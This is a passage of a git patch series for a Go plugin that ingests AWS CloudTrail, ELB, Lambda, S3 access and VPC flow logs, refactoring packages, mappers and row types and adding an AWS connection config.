util.AwsAkasFromArn(*resource.ARN) + newAkas := awsAkasFromArn(*resource.ARN) record.TpAkas = append(record.TpAkas, newAkas...) } } @@ -112,3 +111,49 @@ func (c *CloudTrailLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichme return record, nil } + +// awsAkasFromArn will extract key identifiers from an AWS ARN string. For example: +// * the full arn +// * the account ID +// * EC2 instance ID +// * S3 bucket name +// * EC2 volume ID + +func awsAkasFromArn(arn string) []string { + // Split the ARN into its components. + parts := strings.Split(arn, ":") + if len(parts) < 6 { + return []string{} + } + + // Extract the service name and the resource descriptor. + service := parts[2] + resourceDescriptor := parts[5] + accountID := parts[4] + + // Initialize a slice to hold the key elements. + keyElements := []string{arn} + if accountID != "" { + keyElements = append(keyElements, accountID) + } + + // Handle different services. + switch service { + case "s3": + // For S3, the resource descriptor is the bucket name. + keyElements = append(keyElements, resourceDescriptor) + case "ec2": + // For EC2, we need to further parse the resource descriptor. + if strings.HasPrefix(resourceDescriptor, "instance/") { + // Extract the instance ID for EC2 instances. + instanceID := strings.TrimPrefix(resourceDescriptor, "instance/") + keyElements = append(keyElements, instanceID) + } else if strings.HasPrefix(resourceDescriptor, "volume/") { + // Extract the volume ID for EC2 volumes. + volumeID := strings.TrimPrefix(resourceDescriptor, "volume/") + keyElements = append(keyElements, volumeID) + } + } + + return keyElements +} diff --git a/aws_table/cloudtrail_log_table_config.go b/tables/cloudtrail_log_table_config.go similarity index 85% rename from aws_table/cloudtrail_log_table_config.go rename to tables/cloudtrail_log_table_config.go index 2427d0df..5f5db316 100644 --- a/aws_table/cloudtrail_log_table_config.go +++ b/tables/cloudtrail_log_table_config.go @@ -1,4 +1,4 @@ -package aws_table +package tables type CloudTrailLogTableConfig struct{} diff --git a/aws_table/elb_access_log_table.go b/tables/elb_access_log_table.go similarity index 95% rename from aws_table/elb_access_log_table.go rename to tables/elb_access_log_table.go index ff63eccd..00acdfe5 100644 --- a/aws_table/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -1,14 +1,14 @@ -package aws_table +package tables import ( "fmt" + "github.com/turbot/tailpipe-plugin-aws/models" "strconv" "strings" "time" "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -30,7 +30,7 @@ func (c *ElbAccessLogTable) Identifier() string { } func (c *ElbAccessLogTable) GetRowSchema() any { - return &aws_types.AwsElbAccessLog{} + return &models.AwsElbAccessLog{} } func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { @@ -40,7 +40,7 @@ func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { func (c *ElbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), - artifact_source.WithArtifactMapper(aws_source.NewElbAccessLogMapper()), + artifact_source.WithArtifactMapper(mappers.NewElbAccessLogMapper()), } } @@ -54,7 +54,7 @@ func (c *ElbAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichmen // TODO: #validate ensure we have a timestamp field // Build record and add any source enrichment fields - var record aws_types.AwsElbAccessLog + var record models.AwsElbAccessLog if sourceEnrichmentFields != nil { record.CommonFields = *sourceEnrichmentFields } diff --git a/aws_table/elb_access_log_table_config.go b/tables/elb_access_log_table_config.go similarity index 89% rename from aws_table/elb_access_log_table_config.go rename to tables/elb_access_log_table_config.go index c41b2e37..33937e56 100644 --- a/aws_table/elb_access_log_table_config.go +++ b/tables/elb_access_log_table_config.go @@ -1,4 +1,4 @@ -package aws_table +package tables type ElbAccessLogTableConfig struct { } diff --git a/aws_table/lambda_log_table.go b/tables/lambda_log_table.go similarity index 95% rename from aws_table/lambda_log_table.go rename to tables/lambda_log_table.go index 9171c8c4..fe0df130 100644 --- a/aws_table/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -1,13 +1,13 @@ -package aws_table +package tables import ( "fmt" + "github.com/turbot/tailpipe-plugin-aws/models" "strconv" "strings" "time" "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -36,7 +36,7 @@ func (c *LambdaLogTable) GetSourceOptions(sourceType string) []row_source.RowSou } func (c *LambdaLogTable) GetRowSchema() any { - return &aws_types.AwsLambdaLog{} + return &models.AwsLambdaLog{} } func (c *LambdaLogTable) GetConfigSchema() parse.Config { @@ -49,7 +49,7 @@ func (c *LambdaLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.C return nil, fmt.Errorf("invalid row type: %T, expected string", row) } - var record aws_types.AwsLambdaLog + var record models.AwsLambdaLog if sourceEnrichmentFields != nil { record.CommonFields = *sourceEnrichmentFields diff --git a/aws_table/lambda_log_table_config.go b/tables/lambda_log_table_config.go similarity index 88% rename from aws_table/lambda_log_table_config.go rename to tables/lambda_log_table_config.go index 5f180577..76ac7b2c 100644 --- a/aws_table/lambda_log_table_config.go +++ b/tables/lambda_log_table_config.go @@ -1,4 +1,4 @@ -package aws_table +package tables type LambdaLogTableConfig struct { } diff --git a/aws_types/aws_s3_server_access_log.go b/tables/s3_server_access_log.go similarity index 98% rename from aws_types/aws_s3_server_access_log.go rename to tables/s3_server_access_log.go index 47848ced..182cae9d 100644 --- a/aws_types/aws_s3_server_access_log.go +++ b/tables/s3_server_access_log.go @@ -1,4 +1,4 @@ -package aws_types +package tables import ( "time" diff --git a/aws_table/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go similarity index 94% rename from aws_table/s3_server_access_log_table.go rename to tables/s3_server_access_log_table.go index 88a462da..60474782 100644 --- a/aws_table/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -1,4 +1,4 @@ -package aws_table +package tables import ( "fmt" @@ -6,8 +6,7 @@ import ( "strconv" "time" - "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -29,7 +28,7 @@ func (c *S3ServerAccessLogTable) Identifier() string { } func (c *S3ServerAccessLogTable) GetRowSchema() any { - return &aws_types.AwsS3ServerAccessLog{} + return &AwsS3ServerAccessLog{} } func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { @@ -39,7 +38,7 @@ func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { return []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), - artifact_source.WithArtifactMapper(aws_source.NewS3ServerAccessLogMapper()), + artifact_source.WithArtifactMapper(mappers.NewS3ServerAccessLogMapper()), } } @@ -53,7 +52,7 @@ func (c *S3ServerAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enri // TODO: #validate ensure we have a timestamp field // Build record and add any source enrichment fields - var record aws_types.AwsS3ServerAccessLog + var record AwsS3ServerAccessLog if sourceEnrichmentFields != nil { record.CommonFields = *sourceEnrichmentFields } diff --git a/aws_table/s3_server_access_log_table_config.go b/tables/s3_server_access_log_table_config.go similarity index 89% rename from aws_table/s3_server_access_log_table_config.go rename to tables/s3_server_access_log_table_config.go index 10eb7f1a..5b467076 100644 --- a/aws_table/s3_server_access_log_table_config.go +++ b/tables/s3_server_access_log_table_config.go @@ -1,4 +1,4 @@ -package aws_table +package tables type S3ServerAccessLogTableConfig struct { } diff --git a/aws_table/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go similarity index 94% rename from aws_table/vpc_flow_log_table.go rename to tables/vpc_flow_log_table.go index 69417150..7931cde3 100644 --- a/aws_table/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -1,11 +1,11 @@ -package aws_table +package tables import ( "fmt" + "github.com/turbot/tailpipe-plugin-aws/models" "time" "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" @@ -30,7 +30,7 @@ func (c *VPCFlowLogLogTable) Identifier() string { // GetRowSchema implements table.Table // return an instance of the row struct func (c *VPCFlowLogLogTable) GetRowSchema() any { - return aws_types.AwsVpcFlowLog{} + return models.AwsVpcFlowLog{} } func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { @@ -44,7 +44,7 @@ func (c *VPCFlowLogLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichme if !ok { return nil, fmt.Errorf("invalid row type %T, expected string", row) } - record, err := aws_types.FlowLogFromString(rowString, c.Config.Fields) + record, err := models.FlowLogFromString(rowString, c.Config.Fields) if err != nil { return nil, fmt.Errorf("error parsing row: %s", err) diff --git a/aws_table/vpc_flow_log_table_config.go b/tables/vpc_flow_log_table_config.go similarity index 96% rename from aws_table/vpc_flow_log_table_config.go rename to tables/vpc_flow_log_table_config.go index d39a52c7..b6daa3ed 100644 --- a/aws_table/vpc_flow_log_table_config.go +++ b/tables/vpc_flow_log_table_config.go @@ -1,4 +1,4 @@ -package aws_table +package tables var DefaultFlowLogFields = []string{ "version", diff --git a/util/util.go b/util/util.go deleted file mode 100644 index 3c35d26e..00000000 --- a/util/util.go +++ /dev/null @@ -1,64 +0,0 @@ -package util - -import ( - "path/filepath" - "strings" -) - -func IsValidExtension(path string, extensions []string) bool { - if len(extensions) == 0 { - return true - } - ext := filepath.Ext(path) - for _, validExt := range extensions { - if ext == validExt { - return true - } - } - return false -} - -// awsAkasFromArn will extract key identifiers from an AWS ARN string. For example: -// * the full arn -// * the account ID -// * EC2 instance ID -// * S3 bucket name -// * EC2 volume ID -func AwsAkasFromArn(arn string) []string { - // Split the ARN into its components. - parts := strings.Split(arn, ":") - if len(parts) < 6 { - return []string{} - } - - // Extract the service name and the resource descriptor. - service := parts[2] - resourceDescriptor := parts[5] - accountID := parts[4] - - // Initialize a slice to hold the key elements. - keyElements := []string{arn} - if accountID != "" { - keyElements = append(keyElements, accountID) - } - - // Handle different services. - switch service { - case "s3": - // For S3, the resource descriptor is the bucket name. - keyElements = append(keyElements, resourceDescriptor) - case "ec2": - // For EC2, we need to further parse the resource descriptor. - if strings.HasPrefix(resourceDescriptor, "instance/") { - // Extract the instance ID for EC2 instances. - instanceID := strings.TrimPrefix(resourceDescriptor, "instance/") - keyElements = append(keyElements, instanceID) - } else if strings.HasPrefix(resourceDescriptor, "volume/") { - // Extract the volume ID for EC2 volumes. - volumeID := strings.TrimPrefix(resourceDescriptor, "volume/") - keyElements = append(keyElements, volumeID) - } - } - - return keyElements -} From 59e513a7006adee1c266d213e3f1d61df3366e7e Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Tue, 5 Nov 2024 05:03:54 +0000 Subject: [PATCH 061/180] Move mapper to table, Make mappers and enrich functions generic rename all *Base to *Impl Rename models to rows, rename structs to match table name Table has a single mapper, generic on row type remove elb_access_log_mapper and s3_server_access_mapper, use delimited line mapper instead Ad ctors to row structs to pass to delimited line mapper --- aws/plugin.go | 13 +- aws/plugin_test.go | 10 + config/aws_connection.go | 25 ++ go.mod | 11 +- go.sum | 8 +- mappers/cloudtrail_mapper.go | 25 +- mappers/elb_access_log_mapper.go | 57 ----- .../flowlog_mapper.go | 86 +++---- mappers/s3_server_access_log_mapper.go | 57 ----- models/elb_access_log.go | 44 ---- {models => rows}/cloudtrail.go | 8 +- rows/elb_access_log.go | 186 +++++++++++++++ rows/elb_access_log_test.go | 220 ++++++++++++++++++ {models => rows}/lambda_log.go | 2 +- rows/s3_server_access_log.go | 174 ++++++++++++++ rows/vpc_flow_log.go | 53 +++++ {models => rows}/vpc_flow_log_test.go | 6 +- tables/cloudtrail_log_table.go | 132 ++++------- tables/elb_access_log_table.go | 191 +++------------ tables/helpers.go | 49 ++++ tables/lambda_log_table.go | 67 +++--- tables/s3_server_access_log.go | 38 --- tables/s3_server_access_log_table.go | 187 +++------------ tables/vpc_flow_log_table.go | 96 ++++---- 24 files changed, 988 insertions(+), 757 deletions(-) create mode 100644 aws/plugin_test.go create mode 100644 config/aws_connection.go delete mode 100644 mappers/elb_access_log_mapper.go rename models/vpc_flow_log.go => mappers/flowlog_mapper.go (54%) delete mode 100644 mappers/s3_server_access_log_mapper.go delete mode 100644 models/elb_access_log.go rename {models => rows}/cloudtrail.go (97%) create mode 100644 rows/elb_access_log.go create mode 100644 rows/elb_access_log_test.go rename {models => rows}/lambda_log.go (97%) create mode 100644 rows/s3_server_access_log.go create mode 100644 rows/vpc_flow_log.go rename {models => rows}/vpc_flow_log_test.go (93%) create mode 100644 tables/helpers.go delete mode 100644 tables/s3_server_access_log.go diff --git a/aws/plugin.go b/aws/plugin.go index 7fc35a90..8d926e7e 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,13 +1,24 @@ package aws import ( + "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/tables" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/table" ) +type Plugin struct { + plugin.PluginImpl +} + func NewPlugin() (plugin.TailpipePlugin, error) { - p := plugin.NewPlugin("aws") + //slog.Info("AWS Plugin starting") + //time.Sleep(10 * time.Second) + //slog.Info("AWS Plugin started") + + p := &Plugin{ + PluginImpl: plugin.NewPluginImpl("aws", config.NewAwsConnection), + } // register the tables that we provide resources := &plugin.ResourceFunctions{ diff --git a/aws/plugin_test.go b/aws/plugin_test.go new file mode 100644 index 00000000..fba7e6db --- /dev/null +++ b/aws/plugin_test.go @@ -0,0 +1,10 @@ +package aws + +import ( + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "testing" +) + +func TestConformance(t *testing.T) { + plugin.Validate(t, NewPlugin) +} diff --git a/config/aws_connection.go b/config/aws_connection.go new file mode 100644 index 00000000..dac28455 --- /dev/null +++ b/config/aws_connection.go @@ -0,0 +1,25 @@ +package config + +import "github.com/turbot/tailpipe-plugin-sdk/parse" + +type AwsConnection struct { + Regions []string `hcl:"regions,optional"` + DefaultRegion *string `hcl:"default_region"` + Profile *string `hcl:"profile"` + AccessKey *string `hcl:"access_key"` + SecretKey *string `hcl:"secret_key"` + SessionToken *string `hcl:"session_token"` + MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` + MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` + IgnoreErrorCodes []string `hcl:"ignore_error_codes,optional"` + EndpointUrl *string `hcl:"endpoint_url"` + S3ForcePathStyle *bool `hcl:"s3_force_path_style"` +} + +func NewAwsConnection() parse.Config { + return &AwsConnection{} +} + +func (c *AwsConnection) Validate() error { + return nil +} diff --git a/go.mod b/go.mod index 7e54107e..90bd58be 100644 --- a/go.mod +++ b/go.mod @@ -1,8 +1,6 @@ module github.com/turbot/tailpipe-plugin-aws -go 1.23 - -toolchain go1.23.0 +go 1.23.2 replace github.com/turbot/tailpipe-plugin-sdk => ../tailpipe-plugin-sdk @@ -69,7 +67,6 @@ require ( github.com/goccy/go-yaml v1.11.2 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect - github.com/google/go-cmp v0.6.0 // indirect github.com/google/s2a-go v0.1.7 // indirect github.com/google/uuid v1.6.0 // indirect github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect @@ -77,7 +74,7 @@ require ( github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-getter v1.7.5 // indirect - github.com/hashicorp/go-hclog v1.6.2 // indirect + github.com/hashicorp/go-hclog v1.6.3 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/go-safetemp v1.0.0 // indirect @@ -122,7 +119,6 @@ require ( github.com/pjbgf/sha1cd v0.3.0 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rivo/uniseg v0.2.0 // indirect - github.com/robfig/cron/v3 v3.0.1 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect @@ -136,7 +132,6 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.19.0 // indirect github.com/stevenle/topsort v0.2.0 // indirect - github.com/stretchr/testify v1.9.0 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/tklauser/go-sysconf v0.3.9 // indirect github.com/tklauser/numcpus v0.3.0 // indirect @@ -183,7 +178,9 @@ require ( ) require ( + github.com/google/go-cmp v0.6.0 github.com/rs/xid v1.5.0 github.com/satyrius/gonx v1.4.0 + github.com/stretchr/testify v1.9.0 github.com/turbot/pipe-fittings v1.4.1 ) diff --git a/go.sum b/go.sum index 8e09cb62..6d2d6a7b 100644 --- a/go.sum +++ b/go.sum @@ -458,8 +458,8 @@ github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9n github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-getter v1.7.5 h1:dT58k9hQ/vbxNMwoI5+xFYAJuv6152UNvdHokfI5wE4= github.com/hashicorp/go-getter v1.7.5/go.mod h1:W7TalhMmbPmsSMdNjD0ZskARur/9GJ17cfHTRtXV744= -github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= -github.com/hashicorp/go-hclog v1.6.2/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= +github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= +github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= @@ -588,8 +588,6 @@ github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/robfig/cron/v3 v3.0.1 h1:WdRxkvbJztn8LMz/QEvLN5sBU+xKpSqwwUO1Pjr4qDs= -github.com/robfig/cron/v3 v3.0.1/go.mod h1:eQICP3HwyT7UooqI/z+Ov+PtYAWygg1TEWWzGIFLtro= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= @@ -601,8 +599,8 @@ github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6ke github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= -github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= +github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go index 9da91613..aaab33b6 100644 --- a/mappers/cloudtrail_mapper.go +++ b/mappers/cloudtrail_mapper.go @@ -4,19 +4,18 @@ import ( "context" "encoding/json" "fmt" - "github.com/turbot/tailpipe-plugin-aws/models" "log/slog" - "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" - "github.com/turbot/tailpipe-plugin-sdk/types" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) -// CloudtrailMapper is a Mapper that receives AWSCloudTrailBatch objects and extracts AWSCloudTrail records from them +// CloudtrailMapper is a mapper that receives CloudTrailBatch objects and extracts CloudTrailLog records from them type CloudtrailMapper struct { } // NewCloudtrailMapper creates a new CloudtrailMapper -func NewCloudtrailMapper() artifact_mapper.Mapper { +func NewCloudtrailMapper() table.Mapper[rows.CloudTrailLog] { return &CloudtrailMapper{} } @@ -24,25 +23,25 @@ func (c *CloudtrailMapper) Identifier() string { return "cloudtrail_mapper" } -// Map casts the data item as an AWSCloudTrailBatch and returns the records -func (c *CloudtrailMapper) Map(_ context.Context, a *types.RowData) ([]*types.RowData, error) { - // the expected input type is a JSON byte[] deserializable to AWSCloudTrailBatch - jsonBytes, ok := a.Data.([]byte) +// Map casts the data item as an CloudTrailBatch and returns the CloudTrailLog records +func (c *CloudtrailMapper) Map(_ context.Context, a any) ([]rows.CloudTrailLog, error) { + // the expected input type is a JSON byte[] deserializable to CloudTrailBatch + jsonBytes, ok := a.([]byte) if !ok { return nil, fmt.Errorf("expected byte[], got %T", a) } - // decode json ito AWSCloudTrailBatch - var log models.AWSCloudTrailBatch + // decode json ito CloudTrailBatch + var log rows.CloudTrailBatch err := json.Unmarshal(jsonBytes, &log) if err != nil { return nil, fmt.Errorf("error decoding json: %w", err) } slog.Debug("CloudwatchMapper", "record count", len(log.Records)) - var res = make([]*types.RowData, len(log.Records)) + var res = make([]rows.CloudTrailLog, len(log.Records)) for i, record := range log.Records { - res[i] = types.NewData(record) + res[i] = record } return res, nil } diff --git a/mappers/elb_access_log_mapper.go b/mappers/elb_access_log_mapper.go deleted file mode 100644 index 5ca92690..00000000 --- a/mappers/elb_access_log_mapper.go +++ /dev/null @@ -1,57 +0,0 @@ -package mappers - -import ( - "context" - "fmt" - - "github.com/satyrius/gonx" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` -const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` - -type ElbAccessLogMapper struct { - fullParser *gonx.Parser - noConnParser *gonx.Parser -} - -func NewElbAccessLogMapper() *ElbAccessLogMapper { - return &ElbAccessLogMapper{ - fullParser: gonx.NewParser(elbLogFormat), - noConnParser: gonx.NewParser(elbLogFormatNoConnTrace), - } -} - -func (c *ElbAccessLogMapper) Identifier() string { - return "elb_access_log_mapper" -} - -func (c *ElbAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*types.RowData, error) { - var out []*types.RowData - var parsed *gonx.Entry - var err error - - // validate input type is string - input, ok := a.Data.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", a.Data) - } - inputMetadata := a.Metadata - - // parse log line - parsed, err = c.fullParser.ParseString(input) - if err != nil { - parsed, err = c.noConnParser.ParseString(input) - if err != nil { - return nil, fmt.Errorf("error parsing log line: %w", err) - } - } - - fields := make(map[string]string) - - fields = parsed.Fields() - out = append(out, types.NewData(fields, types.WithMetadata(inputMetadata))) - - return out, nil -} diff --git a/models/vpc_flow_log.go b/mappers/flowlog_mapper.go similarity index 54% rename from models/vpc_flow_log.go rename to mappers/flowlog_mapper.go index d699d4db..f0533aaf 100644 --- a/models/vpc_flow_log.go +++ b/mappers/flowlog_mapper.go @@ -1,79 +1,54 @@ -package models +package mappers import ( + "context" "fmt" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "log/slog" "strconv" "strings" "time" + + "github.com/turbot/tailpipe-plugin-aws/rows" ) -// TODO is trhere an existing amazon sdk type we can use -type AwsVpcFlowLog struct { - // embed required enrichment fields (be sure to skip in parquet) - enrichment.CommonFields +// VpcFlowlogMapper is a mapper that receives string objects and extracts VpcFlowLog record +type VpcFlowlogMapper struct { + schema []string +} + +func NewVpcFlowlogMapper(schema []string) *VpcFlowlogMapper { + res := &VpcFlowlogMapper{ + schema: schema, + } - Timestamp *time.Time `json:"timestamp,omitempty"` - Version *int32 `json:"version,omitempty"` - AccountID *string `json:"account_id,omitempty"` - InterfaceID *string `json:"interface_id,omitempty"` - SrcAddr *string `json:"src_addr,omitempty"` - DstAddr *string `json:"dst_addr,omitempty"` - SrcPort *int32 `json:"src_port,omitempty"` - DstPort *int32 `json:"dst_port,omitempty"` - Protocol *int32 `json:"protocol,omitempty"` - Packets *int64 `json:"packets,omitempty"` - Bytes *int64 `json:"bytes,omitempty"` - Start *int64 `json:"start,omitempty"` - End *int64 `json:"end,omitempty"` - Action *string `json:"action,omitempty"` - LogStatus *string `json:"log_status,omitempty"` - VPCID *string `json:"vpc_id,omitempty"` - SubnetID *string `json:"subnet_id,omitempty"` - InstanceID *string `json:"instance_id,omitempty"` - TCPFlags *int32 `json:"tcp_flags,omitempty"` - Type *string `json:"type,omitempty"` - PktSrcAddr *string `json:"pkt_src_addr,omitempty"` - PktDstAddr *string `json:"pkt_dst_addr,omitempty"` - Region *string `json:"region,omitempty"` - AzID *string `json:"az_id,omitempty"` - SublocationType *string `json:"sublocation_type,omitempty"` - SublocationID *string `json:"sublocation_id,omitempty"` - PktSrcAWSService *string `json:"pkt_src_aws_service,omitempty"` - PktDstAWSService *string `json:"pkt_dst_aws_service,omitempty"` - FlowDirection *string `json:"flow_direction,omitempty"` - TrafficPath *int32 `json:"traffic_path,omitempty"` - ECSClusterARN *string `json:"ecs_cluster_arn,omitempty"` - ECSClusterName *string `json:"ecs_cluster_name,omitempty"` - ECSContainerInstanceARN *string `json:"ecs_container_instance_arn,omitempty"` - ECSContainerInstanceID *string `json:"ecs_container_instance_id,omitempty"` - ECSContainerID *string `json:"ecs_container_id,omitempty"` - ECSSecondContainerID *string `json:"ecs_second_container_id,omitempty"` - ECSServiceName *string `json:"ecs_service_name,omitempty"` - ECSTaskDefinitionARN *string `json:"ecs_task_definition_arn,omitempty"` - ECSTaskARN *string `json:"ecs_task_arn,omitempty"` - ECSTaskID *string `json:"ecs_task_id,omitempty"` + return res } -// fromString +func (c *VpcFlowlogMapper) Identifier() string { + return "flowlog_mapper" +} -func FlowLogFromString(rowString string, schema []string) (*AwsVpcFlowLog, error) { +// Map casts the data item as an string and returns the VpcFlowLog records +func (c *VpcFlowlogMapper) Map(_ context.Context, a any) ([]*rows.VpcFlowLog, error) { + rowString, ok := a.(string) + if !ok { + return nil, fmt.Errorf("expectedstring, got %T", a) + } fields := strings.Fields(rowString) - if len(fields) > len(schema) { - slog.Error("row has more fields than schema allows", "fields", fields, "schema", schema) - return nil, fmt.Errorf("row has more fields than schema allows") + if len(fields) > len(c.schema) { + slog.Error("row has more fields than c.schema allows", "fields", fields, "schema", c.schema) + return nil, fmt.Errorf("row has more fields than c.schema allows") } - flowLog := &AwsVpcFlowLog{} + flowLog := &rows.VpcFlowLog{} for i, field := range fields { // skip empty fields if field == "-" { continue } - switch schema[i] { + switch c.schema[i] { case "timestamp": timestamp, err := 